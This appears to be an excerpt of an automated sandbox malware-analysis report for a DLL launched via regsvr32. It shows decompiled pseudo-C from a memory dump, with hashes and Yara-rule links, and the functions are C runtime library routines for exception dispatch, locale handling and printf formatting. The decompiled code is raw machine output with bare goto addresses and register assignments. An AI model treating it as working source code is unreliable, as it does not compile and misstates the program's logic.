Instruction ID: 4853ceba84ddbb230417778543f3b3b02ea2aa858227094ccd1c634e11d49f23
Opcode Fuzzy Hash: 939841bcdfd8ad812f8c29de7d09562b703ae5a82c5ff0fab969d8d2fb6d5a5e
Instruction Fuzzy Hash: C8B1B77261CAC0CAD7B58B29E8807AFB7E0F388785F155125DAC983B99DB2DD4429F00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D34960 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 175
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 35%

			E000007FE7FEF9D34960(void* __ecx, long long __rcx, long long __rdx, long long __r8, long long __r9, void* _a8, long long _a16, long long _a24, long long _a32, signed int _a40, intOrPtr _a48, long long _a56, long long _a64) {
				long long _v24;
				long long _v32;
				long long _v40;
				long long _v48;
				long long _v56;
				char _v60;
				char _v64;
				signed int _v72;
				char _v80;
				char _v88;
				long long _v96;
				intOrPtr _v104;
				long long _v112;
				long long _v120;
				long long _v128;
				signed int _v136;
				void* _t106;
				void* _t117;
				void* _t118;
				void* _t119;
				void* _t120;
				void* _t121;
				long long _t153;
				signed int _t161;
				signed int _t165;
				long long _t166;
				long long _t169;
				long long _t170;
				intOrPtr _t174;

				_a32 = __r9;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				_t153 = _a8;
				if ( *_t153 != 0x80000003) goto 0xf9d34990;
				goto 0xf9d34cc6;
				0xf9d24000();
				if ( *((long long*)(_t153 + 0xe0)) == 0) goto 0xf9d34a33;
				0xf9d24000();
				_v56 = _t153;
				E000007FE7FEF9D23D00(_t106);
				if ( *((intOrPtr*)(_v56 + 0xe0)) == _t153) goto 0xf9d34a33;
				if ( *_a8 == 0xe0434f4d) goto 0xf9d34a33;
				if ( *_a8 == 0xe0434352) goto 0xf9d34a33;
				_v120 = _a64;
				_v128 = _a56;
				_v136 = _a40;
				if (E000007FE7FEF9D2E9B0(_a8, _a16, _a24, _a32) == 0) goto 0xf9d34a33;
				goto 0xf9d34cc6;
				if ( *((intOrPtr*)(_a40 + 0xc)) == 0) goto 0xf9d34a43;
				goto 0xf9d34a48;
				E000007FE7FEF9D2CF80(_a40);
				_v120 = _a32;
				_v128 =  &_v60;
				_t161 =  &_v64;
				_v136 = _t161;
				r9d = _a48;
				r8d = _a56;
				E000007FE7FEF9D2EA30(_a16, _a40);
				_v72 = _t161;
				_v64 = _v64 + 1;
				_v72 = _v72 + 0x14;
				if (_v64 - _v60 >= 0) goto 0xf9d34cc6;
				if (_a48 -  *_v72 < 0) goto 0xf9d34c2b;
				_t165 = _v72;
				if (_a48 -  *((intOrPtr*)(_t165 + 4)) > 0) goto 0xf9d34c2b;
				_t117 = E000007FE7FEF9D2E680( *((intOrPtr*)(_t165 + 4)), _t165);
				_t166 = _t165 +  *((intOrPtr*)(_v72 + 0x10));
				if ( *((intOrPtr*)(_t166 + 4 + ( *((intOrPtr*)(_v72 + 0xc)) - 1) * 0x14)) == 0) goto 0xf9d34b53;
				_t118 = E000007FE7FEF9D2E680(_t117, _t166);
				_v48 = _t166;
				_t119 = E000007FE7FEF9D2E680(_t118, _t166);
				_t169 = _v48 +  *((intOrPtr*)(_t166 +  *((intOrPtr*)(_v72 + 0x10)) + 4 + ( *((intOrPtr*)(_v72 + 0xc)) - 1) * 0x14));
				_v40 = _t169;
				goto 0xf9d34b5f;
				_v40 = 0;
				if (_v40 == 0) goto 0xf9d34bff;
				_t120 = E000007FE7FEF9D2E680(_t119, _t169);
				_t170 = _t169 +  *((intOrPtr*)(_v72 + 0x10));
				if ( *((intOrPtr*)(_t170 + 4 + ( *((intOrPtr*)(_v72 + 0xc)) - 1) * 0x14)) == 0) goto 0xf9d34be3;
				_t121 = E000007FE7FEF9D2E680(_t120, _t170);
				_v32 = _t170;
				E000007FE7FEF9D2E680(_t121, _t170);
				_v24 = _v32 +  *((intOrPtr*)(_t170 +  *((intOrPtr*)(_v72 + 0x10)) + 4 + ( *((intOrPtr*)(_v72 + 0xc)) - 1) * 0x14));
				goto 0xf9d34bef;
				_v24 = 0;
				_t174 = _v24;
				if ( *((char*)(_t174 + 0x10)) != 0) goto 0xf9d34c2b;
				E000007FE7FEF9D2E680( *((char*)(_t174 + 0x10)), _t174);
				if (( *(_t174 +  *((intOrPtr*)(_v72 + 0x10)) + ( *((intOrPtr*)(_v72 + 0xc)) - 1) * 0x14) & 0x00000040) == 0) goto 0xf9d34c30;
				goto L1;
				__eax = E000007FE7FEF9D2E680(__eax, __rax);
				_v72 =  *((intOrPtr*)(_v72 + 0x10));
				__rax = __rax +  *((intOrPtr*)(_v72 + 0x10));
				_v72 =  *((intOrPtr*)(_v72 + 0xc)) - 1;
				__rcx = ( *((intOrPtr*)(_v72 + 0xc)) - 1) * 0x14;
				__rax = __rax + ( *((intOrPtr*)(_v72 + 0xc)) - 1) * 0x14;
				__eflags = __rax;
				_v80 = 0;
				_v88 = 1;
				__rcx = _a64;
				_v96 = _a64;
				_v104 = _a56;
				__rcx = _v72;
				_v112 = _v72;
				_v120 = 0;
				_v128 = __rax;
				__rax = _a40;
				_v136 = _a40;
				__r9 = _a32;
				__r8 = _a24;
				__rdx = _a16;
				__rcx = _a8;
				__eax = E000007FE7FEF9D35180(__edi, __esi, __esp, __eflags, _a8, _a16, _a24, _a32);
				goto L1;
				return __eax;
			}

0x7fef9d34960
0x7fef9d34965
0x7fef9d3496a
0x7fef9d3496f
0x7fef9d3497b
0x7fef9d34989
0x7fef9d3498b
0x7fef9d34990
0x7fef9d3499d
0x7fef9d349a3
0x7fef9d349a8
0x7fef9d349ad
0x7fef9d349be
0x7fef9d349ce
0x7fef9d349de
0x7fef9d349e8
0x7fef9d349f4
0x7fef9d34a00
0x7fef9d34a2c
0x7fef9d34a2e
0x7fef9d34a3f
0x7fef9d34a41
0x7fef9d34a43
0x7fef9d34a50
0x7fef9d34a5a
0x7fef9d34a5f
0x7fef9d34a64
0x7fef9d34a69
0x7fef9d34a71
0x7fef9d34a89
0x7fef9d34a8e
0x7fef9d34a9b
0x7fef9d34aa8
0x7fef9d34ab5
0x7fef9d34ac9
0x7fef9d34acf
0x7fef9d34ade
0x7fef9d34ae4
0x7fef9d34af2
0x7fef9d34b0b
0x7fef9d34b0d
0x7fef9d34b12
0x7fef9d34b17
0x7fef9d34b46
0x7fef9d34b49
0x7fef9d34b51
0x7fef9d34b53
0x7fef9d34b68
0x7fef9d34b6e
0x7fef9d34b7c
0x7fef9d34b95
0x7fef9d34b97
0x7fef9d34b9c
0x7fef9d34ba4
0x7fef9d34bd9
0x7fef9d34be1
0x7fef9d34be3
0x7fef9d34bef
0x7fef9d34bfd
0x7fef9d34bff
0x7fef9d34c29
0x7fef9d34c2b
0x7fef9d34c30
0x7fef9d34c3a
0x7fef9d34c3e
0x7fef9d34c4b
0x7fef9d34c4e
0x7fef9d34c52
0x7fef9d34c52
0x7fef9d34c55
0x7fef9d34c5a
0x7fef9d34c5f
0x7fef9d34c67
0x7fef9d34c73
0x7fef9d34c77
0x7fef9d34c7c
0x7fef9d34c81
0x7fef9d34c8a
0x7fef9d34c8f
0x7fef9d34c97
0x7fef9d34c9c
0x7fef9d34ca4
0x7fef9d34cac
0x7fef9d34cb4
0x7fef9d34cbc
0x7fef9d34cc1
0x7fef9d34ccd

Strings

MOC, xrefs: 000007FEF9D349C8
RCC, xrefs: 000007FEF9D349D8

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID:
String ID: MOC$RCC
API String ID: 0-2084237596
Opcode ID: ff3899ab70367f580fbe79aa5854b52896b6d0a2cba9891fdbb3d09f9aae126f
Instruction ID: 969568d65f9d334bdbb71439fdfa9ac9293f65c07e2bfce327525da45f7ede8f
Opcode Fuzzy Hash: ff3899ab70367f580fbe79aa5854b52896b6d0a2cba9891fdbb3d09f9aae126f
Instruction Fuzzy Hash: FA91193260DB8582DAA4DB55E49077EB3A0F7C4785F214526EACE83BA9CF3DE041CB50

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D29C10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

__updatetmbcinfo.LIBCMTD ref: 000007FEF9D29C2F

Part of subcall function 000007FEF9D29B10: _unlock.LIBCMTD ref: 000007FEF9D29BD9

Part of subcall function 000007FEF9D29F20: GetOEMCP.KERNEL32 ref: 000007FEF9D29F65
Part of subcall function 000007FEF9D29F20: _LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D29F74

_unlock.LIBCMTD ref: 000007FEF9D29EC8

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbctype.c, xrefs: 000007FEF9D29C73

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale_unlock$UpdateUpdate::~___updatetmbcinfo
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbctype.c
API String ID: 4112623284-4095683531
Opcode ID: 8356b35877ad84119bda948381768e140a73398435746945450b774d02776550
Instruction ID: 45fc69fecf93984735d9c4b87304ebe4c96837b84e7424b4db74fc1719c3d08d
Opcode Fuzzy Hash: 8356b35877ad84119bda948381768e140a73398435746945450b774d02776550
Instruction Fuzzy Hash: 83911D36619B8586E7A08B19E98036E77E0F388798F654236EACD477B8CB3DD541CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3C6F8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 98
COMMON

Download Yara Rule

C-Code - Quality: 19%

			E000007FE7FEF9D3C6F8(signed int __rax, void* __rdx, long long _a32, void* _a64, void* _a72, intOrPtr _a76, signed int _a80, char _a84, char _a85, intOrPtr _a88, long long _a92, long long _a96, signed char _a104, intOrPtr _a108, signed int _a116, char _a120, char _a687, char _a688, intOrPtr _a704, intOrPtr _a708, signed char _a816, signed int _a824, signed int _a832, intOrPtr _a840, signed short* _a848, signed char _a856, char _a860, char _a864, long long _a872, intOrPtr _a876, intOrPtr _a912, intOrPtr _a916, signed int _a1040, long long _a1048, signed short _a1056, long long _a1060, signed int _a1064, intOrPtr _a1088, char _a1112) {
				signed int _t217;
				signed char _t222;
				intOrPtr _t257;
				signed int _t332;
				signed int _t333;
				signed long long _t336;
				intOrPtr* _t359;
				signed long long _t384;

				_t332 = __rax;
				_a116 = 0x10;
				asm("bts eax, 0xf");
				_a708 = 7;
				_a708 = 0x27;
				_a72 = 0x10;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3c754;
				_a84 = 0x30;
				_a85 = _a708 + 0x51;
				_a92 = 2;
				_a72 = 8;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3c777;
				asm("bts eax, 0x9");
				if ((_a80 & 0x00008000) == 0) goto 0xf9d3c79e;
				E000007FE7FEF9D31EA0( &_a1112);
				_a824 = _t332;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00001000) == 0) goto 0xf9d3c7c5;
				E000007FE7FEF9D31EA0( &_a1112);
				_a824 = _t332;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00000020) == 0) goto 0xf9d3c810;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c7f6;
				_t333 = E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t333;
				goto 0xf9d3c80e;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t333;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c834;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t333;
				goto 0xf9d3c84b;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t333;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c882;
				if (_a824 >= 0) goto 0xf9d3c882;
				_a832 =  ~_a824;
				asm("bts eax, 0x8");
				goto 0xf9d3c892;
				_t336 = _a824;
				_a832 = _t336;
				if ((_a80 & 0x00008000) != 0) goto 0xf9d3c8c7;
				if ((_a80 & 0x00001000) != 0) goto 0xf9d3c8c7;
				_a832 = _a832 & _t336;
				if (_a116 >= 0) goto 0xf9d3c8d8;
				_a116 = 1;
				goto 0xf9d3c8f5;
				_a80 = _a80 & 0xfffffff7;
				if (_a116 - 0x200 <= 0) goto 0xf9d3c8f5;
				_a116 = 0x200;
				if (_a832 != 0) goto 0xf9d3c908;
				_a92 = 0;
				_a64 =  &_a687;
				_t217 = _a116;
				_a116 = _a116 - 1;
				if (_t217 > 0) goto 0xf9d3c936;
				if (_a832 == 0) goto 0xf9d3c9d3;
				_a1040 = _a72;
				_a816 = _t217 / _a1040 + 0x30;
				_a1048 = _a72;
				if (_a816 - 0x39 <= 0) goto 0xf9d3c9b2;
				_t222 = _a816 + _a708;
				_a816 = _t222;
				 *_a64 = _a816 & 0x000000ff;
				_a64 = _a64 - 1;
				goto 0xf9d3c915;
				_a104 = _t222;
				_a64 = _a64 + 1;
				if ((_a80 & 0x00000200) == 0) goto 0xf9d3ca31;
				if (_a104 == 0) goto 0xf9d3ca12;
				if ( *_a64 == 0x30) goto 0xf9d3ca31;
				_a64 = _a64 - 1;
				 *_a64 = 0x30;
				_a104 = _a104 + 1;
				if (_a108 != 0) goto 0xf9d3cc6e;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3ca95;
				if ((_a80 & 0x00000100) == 0) goto 0xf9d3ca63;
				_a84 = 0x2d;
				_a92 = 1;
				goto 0xf9d3ca95;
				if ((_a80 & 0x00000001) == 0) goto 0xf9d3ca7d;
				_a84 = 0x2b;
				_a92 = 1;
				goto 0xf9d3ca95;
				if ((_a80 & 0x00000002) == 0) goto 0xf9d3ca95;
				_a84 = 0x20;
				_a92 = 1;
				_a840 = _a88 - _a104 - _a92;
				if ((_a80 & 0x0000000c) != 0) goto 0xf9d3cad5;
				E000007FE7FEF9D3CF10(0x20, _a840, _a1088,  &_a688);
				E000007FE7FEF9D3CF60(_a92, _a64,  &_a84, _a1088,  &_a688);
				if ((_a80 & 0x00000008) == 0) goto 0xf9d3cb27;
				if ((_a80 & 0x00000004) != 0) goto 0xf9d3cb27;
				E000007FE7FEF9D3CF10(0x30, _a840, _a1088,  &_a688);
				if (_a76 == 0) goto 0xf9d3cc1d;
				if (_a104 <= 0) goto 0xf9d3cc1d;
				_a872 = 0;
				_a848 = _a64;
				_a856 = _a104;
				_a856 = _a856 - 1;
				if (_a856 == 0) goto 0xf9d3cc1b;
				_a1056 =  *_a848 & 0x0000ffff;
				r9d = _a1056 & 0x0000ffff;
				r8d = 6;
				_a872 = E000007FE7FEF9D3B530( &_a860,  &_a864, _a1088);
				_a848 =  &(_a848[1]);
				if (_a872 != 0) goto 0xf9d3cbe5;
				if (_a860 != 0) goto 0xf9d3cbf2;
				_a688 = 0xffffffff;
				goto 0xf9d3cc1b;
				E000007FE7FEF9D3CF60(_a860,  &(_a848[1]),  &_a864, _a1088,  &_a688);
				goto 0xf9d3cb60;
				goto 0xf9d3cc3b;
				E000007FE7FEF9D3CF60(_a104,  &(_a848[1]), _a64, _a1088,  &_a688);
				if (_a688 < 0) goto 0xf9d3cc6e;
				if ((_a80 & 0x00000004) == 0) goto 0xf9d3cc6e;
				E000007FE7FEF9D3CF10(0x20, _a840, _a1088,  &_a688);
				if (_a96 == 0) goto 0xf9d3cc8e;
				0xf9d25330();
				_a96 = 0;
				goto 0xf9d3b99c;
				if (_a704 == 0) goto 0xf9d3ccb4;
				if (_a704 == 7) goto 0xf9d3ccb4;
				_a1060 = 0;
				goto 0xf9d3ccbf;
				_a1060 = 1;
				_t257 = _a1060;
				_a876 = _t257;
				if (_a876 != 0) goto 0xf9d3cd05;
				_t359 = L"((state == ST_NORMAL) || (state == ST_TYPE))";
				_a32 = _t359;
				r9d = 0;
				r8d = 0x8f5;
				0xf9d2b3b0();
				if (_t257 != 1) goto 0xf9d3cd05;
				asm("int3");
				if (_a876 != 0) goto 0xf9d3cd61;
				0xf9d2ab30();
				 *_t359 = 0x16;
				_a32 = 0;
				r9d = 0x8f5;
				E000007FE7FEF9D2BD70(L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
				_a912 = 0xffffffff;
				E000007FE7FEF9D26800( &_a120);
				goto 0xf9d3cd80;
				_a916 = _a688;
				E000007FE7FEF9D26800( &_a120);
				return E000007FE7FEF9D23280(_a916, 2, 2, _a1064 ^ _t384, L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
			}

0x7fef9d3c6f8
0x7fef9d3c6f8
0x7fef9d3c704
0x7fef9d3c70c
0x7fef9d3c719
0x7fef9d3c724
0x7fef9d3c737
0x7fef9d3c739
0x7fef9d3c748
0x7fef9d3c74c
0x7fef9d3c756
0x7fef9d3c769
0x7fef9d3c76f
0x7fef9d3c782
0x7fef9d3c78c
0x7fef9d3c791
0x7fef9d3c799
0x7fef9d3c7a9
0x7fef9d3c7b3
0x7fef9d3c7b8
0x7fef9d3c7c0
0x7fef9d3c7ce
0x7fef9d3c7d9
0x7fef9d3c7e8
0x7fef9d3c7ec
0x7fef9d3c7f4
0x7fef9d3c7fe
0x7fef9d3c806
0x7fef9d3c80e
0x7fef9d3c819
0x7fef9d3c823
0x7fef9d3c82a
0x7fef9d3c832
0x7fef9d3c83c
0x7fef9d3c843
0x7fef9d3c854
0x7fef9d3c85f
0x7fef9d3c86c
0x7fef9d3c878
0x7fef9d3c880
0x7fef9d3c882
0x7fef9d3c88a
0x7fef9d3c89d
0x7fef9d3c8aa
0x7fef9d3c8bf
0x7fef9d3c8cc
0x7fef9d3c8ce
0x7fef9d3c8d6
0x7fef9d3c8df
0x7fef9d3c8eb
0x7fef9d3c8ed
0x7fef9d3c8fe
0x7fef9d3c900
0x7fef9d3c910
0x7fef9d3c915
0x7fef9d3c91f
0x7fef9d3c925
0x7fef9d3c930
0x7fef9d3c93b
0x7fef9d3c95e
0x7fef9d3c96a
0x7fef9d3c997
0x7fef9d3c9a9
0x7fef9d3c9ab
0x7fef9d3c9bf
0x7fef9d3c9c9
0x7fef9d3c9ce
0x7fef9d3c9e0
0x7fef9d3c9ec
0x7fef9d3c9fc
0x7fef9d3ca03
0x7fef9d3ca10
0x7fef9d3ca1a
0x7fef9d3ca24
0x7fef9d3ca2d
0x7fef9d3ca36
0x7fef9d3ca45
0x7fef9d3ca52
0x7fef9d3ca54
0x7fef9d3ca59
0x7fef9d3ca61
0x7fef9d3ca6c
0x7fef9d3ca6e
0x7fef9d3ca73
0x7fef9d3ca7b
0x7fef9d3ca86
0x7fef9d3ca88
0x7fef9d3ca8d
0x7fef9d3caa5
0x7fef9d3cab5
0x7fef9d3cad0
0x7fef9d3caee
0x7fef9d3cafc
0x7fef9d3cb07
0x7fef9d3cb22
0x7fef9d3cb2c
0x7fef9d3cb37
0x7fef9d3cb3d
0x7fef9d3cb4d
0x7fef9d3cb59
0x7fef9d3cb70
0x7fef9d3cb79
0x7fef9d3cb8a
0x7fef9d3cb92
0x7fef9d3cb9b
0x7fef9d3cbb6
0x7fef9d3cbc9
0x7fef9d3cbd9
0x7fef9d3cbe3
0x7fef9d3cbe5
0x7fef9d3cbf0
0x7fef9d3cc11
0x7fef9d3cc16
0x7fef9d3cc1b
0x7fef9d3cc36
0x7fef9d3cc43
0x7fef9d3cc4e
0x7fef9d3cc69
0x7fef9d3cc74
0x7fef9d3cc80
0x7fef9d3cc85
0x7fef9d3cc8e
0x7fef9d3cc9b
0x7fef9d3cca5
0x7fef9d3cca7
0x7fef9d3ccb2
0x7fef9d3ccb4
0x7fef9d3ccbf
0x7fef9d3ccc6
0x7fef9d3ccd5
0x7fef9d3ccd7
0x7fef9d3ccde
0x7fef9d3cce3
0x7fef9d3cce6
0x7fef9d3ccf8
0x7fef9d3cd00
0x7fef9d3cd02
0x7fef9d3cd0d
0x7fef9d3cd0f
0x7fef9d3cd14
0x7fef9d3cd1a
0x7fef9d3cd23
0x7fef9d3cd3e
0x7fef9d3cd43
0x7fef9d3cd53
0x7fef9d3cd5f
0x7fef9d3cd68
0x7fef9d3cd74
0x7fef9d3cd97

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3C78C

Strings

9, xrefs: 000007FEF9D3C98F
0, xrefs: 000007FEF9D3C739

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: get_int64_arg
String ID: 0$9
API String ID: 1967237116-1975997740
Opcode ID: aed7fbe3ab945623e5c36a128674cf35c8ffbba07ad38133e4628ccf625e54aa
Instruction ID: c0a57250e5e6ff09cb8cd0b3e72d4402f8dee1629557039505579d47a847bcbd
Opcode Fuzzy Hash: aed7fbe3ab945623e5c36a128674cf35c8ffbba07ad38133e4628ccf625e54aa
Instruction Fuzzy Hash: 1E41C87660DAC187E7B58B19E8917AEB7E4F385791F100125EBC886B98DBBDD540CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3E70C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 94
COMMON

Download Yara Rule

C-Code - Quality: 23%

			E000007FE7FEF9D3E70C(signed int __rax, void* __rdx, long long _a32, void* _a64, void* _a72, intOrPtr _a76, signed int _a80, char _a84, short _a86, intOrPtr _a88, long long _a92, long long _a96, signed char _a104, intOrPtr _a108, signed int _a116, char _a120, char _a687, char _a1200, signed short _a1212, intOrPtr _a1216, intOrPtr _a1220, signed char _a1296, signed int _a1304, signed int _a1312, intOrPtr _a1320, long long _a1328, signed char _a1336, intOrPtr _a1340, intOrPtr _a1344, intOrPtr _a1376, intOrPtr _a1380, signed int _a1480, long long _a1488, long long _a1496, long long _a1504, signed int _a1512, intOrPtr _a1536, char _a1560) {
				signed int _t213;
				signed char _t218;
				void* _t249;
				intOrPtr _t257;
				signed int _t331;
				signed int _t332;
				signed long long _t335;
				intOrPtr* _t354;
				intOrPtr* _t359;
				signed long long _t389;

				_t331 = __rax;
				_a1220 = 0x27;
				_a72 = 0x10;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3e74d;
				_a84 = 0x30;
				_a86 = _a1220 + 0x51;
				_a92 = 2;
				_a72 = 8;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3e770;
				asm("bts eax, 0x9");
				if ((_a80 & 0x00008000) == 0) goto 0xf9d3e797;
				E000007FE7FEF9D31EA0( &_a1560);
				_a1304 = _t331;
				goto 0xf9d3e844;
				if ((_a80 & 0x00001000) == 0) goto 0xf9d3e7be;
				E000007FE7FEF9D31EA0( &_a1560);
				_a1304 = _t331;
				goto 0xf9d3e844;
				if ((_a80 & 0x00000020) == 0) goto 0xf9d3e809;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3e7ef;
				_t332 = E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t332;
				goto 0xf9d3e807;
				E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t332;
				goto 0xf9d3e844;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3e82d;
				E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t332;
				goto 0xf9d3e844;
				E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t332;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3e87b;
				if (_a1304 >= 0) goto 0xf9d3e87b;
				_a1312 =  ~_a1304;
				asm("bts eax, 0x8");
				goto 0xf9d3e88b;
				_t335 = _a1304;
				_a1312 = _t335;
				if ((_a80 & 0x00008000) != 0) goto 0xf9d3e8c0;
				if ((_a80 & 0x00001000) != 0) goto 0xf9d3e8c0;
				_a1312 = _a1312 & _t335;
				if (_a116 >= 0) goto 0xf9d3e8d1;
				_a116 = 1;
				goto 0xf9d3e8ee;
				_a80 = _a80 & 0xfffffff7;
				if (_a116 - 0x200 <= 0) goto 0xf9d3e8ee;
				_a116 = 0x200;
				if (_a1312 != 0) goto 0xf9d3e901;
				_a92 = 0;
				_a64 =  &_a687;
				_t213 = _a116;
				_a116 = _a116 - 1;
				if (_t213 > 0) goto 0xf9d3e92f;
				if (_a1312 == 0) goto 0xf9d3e9cc;
				_a1480 = _a72;
				_a1296 = _t213 / _a1480 + 0x30;
				_a1488 = _a72;
				if (_a1296 - 0x39 <= 0) goto 0xf9d3e9ab;
				_t218 = _a1296 + _a1220;
				_a1296 = _t218;
				 *_a64 = _a1296 & 0x000000ff;
				_a64 = _a64 - 1;
				goto 0xf9d3e90e;
				_a104 = _t218;
				_a64 = _a64 + 1;
				if ((_a80 & 0x00000200) == 0) goto 0xf9d3ea2a;
				if (_a104 == 0) goto 0xf9d3ea0b;
				if ( *_a64 == 0x30) goto 0xf9d3ea2a;
				_a64 = _a64 - 1;
				 *_a64 = 0x30;
				_a104 = _a104 + 1;
				if (_a108 != 0) goto 0xf9d3ec7c;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3ea9d;
				if ((_a80 & 0x00000100) == 0) goto 0xf9d3ea61;
				_a84 = 0x2d;
				_a92 = 1;
				goto 0xf9d3ea9d;
				if ((_a80 & 0x00000001) == 0) goto 0xf9d3ea80;
				_a84 = 0x2b;
				_a92 = 1;
				goto 0xf9d3ea9d;
				if ((_a80 & 0x00000002) == 0) goto 0xf9d3ea9d;
				_a84 = 0x20;
				_a92 = 1;
				_a1320 = _a88 - _a104 - _a92;
				if ((_a80 & 0x0000000c) != 0) goto 0xf9d3eadf;
				E000007FE7FEF9D3EEC0(0x20, _a1320, _a1536,  &_a1200);
				E000007FE7FEF9D3EF10(_a92, _a64,  &_a84, _a1536,  &_a1200);
				if ((_a80 & 0x00000008) == 0) goto 0xf9d3eb33;
				if ((_a80 & 0x00000004) != 0) goto 0xf9d3eb33;
				E000007FE7FEF9D3EEC0(0x30, _a1320, _a1536,  &_a1200);
				if (_a76 != 0) goto 0xf9d3ec29;
				if (_a104 <= 0) goto 0xf9d3ec29;
				_t354 = _a64;
				_a1328 = _t354;
				_a1336 = _a104;
				_a1336 = _a1336 - 1;
				if (_a1336 <= 0) goto 0xf9d3ec27;
				_t249 = E000007FE7FEF9D26840(_a1336,  &_a120);
				_a1496 = _t354;
				E000007FE7FEF9D26840(_t249,  &_a120);
				_a1340 = E000007FE7FEF9D3F000( &_a1212, _a1328,  *((intOrPtr*)( *_t354 + 0x10c)), _a1496);
				if (_a1340 > 0) goto 0xf9d3ebe7;
				_a1200 = 0xffffffff;
				goto 0xf9d3ec27;
				E000007FE7FEF9D3EE40(_a1212 & 0x0000ffff, _a1536,  &_a1200);
				_a1328 = _a1328 + _a1340;
				goto 0xf9d3eb61;
				goto 0xf9d3ec47;
				E000007FE7FEF9D3EF10(_a104, _a1328 + _a1340, _a64, _a1536,  &_a1200);
				if (_a1200 < 0) goto 0xf9d3ec7c;
				if ((_a80 & 0x00000004) == 0) goto 0xf9d3ec7c;
				E000007FE7FEF9D3EEC0(0x20, _a1320, _a1536,  &_a1200);
				if (_a96 == 0) goto 0xf9d3ec9c;
				0xf9d25330();
				_a96 = 0;
				goto 0xf9d3da75;
				if (_a1216 == 0) goto 0xf9d3ecc2;
				if (_a1216 == 7) goto 0xf9d3ecc2;
				_a1504 = 0;
				goto 0xf9d3eccd;
				_a1504 = 1;
				_t257 = _a1504;
				_a1344 = _t257;
				if (_a1344 != 0) goto 0xf9d3ed13;
				_t359 = L"((state == ST_NORMAL) || (state == ST_TYPE))";
				_a32 = _t359;
				r9d = 0;
				r8d = 0x8f5;
				0xf9d2b3b0();
				if (_t257 != 1) goto 0xf9d3ed13;
				asm("int3");
				if (_a1344 != 0) goto 0xf9d3ed6f;
				0xf9d2ab30();
				 *_t359 = 0x16;
				_a32 = 0;
				r9d = 0x8f5;
				E000007FE7FEF9D2BD70(L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
				_a1376 = 0xffffffff;
				E000007FE7FEF9D26800( &_a120);
				goto 0xf9d3ed8e;
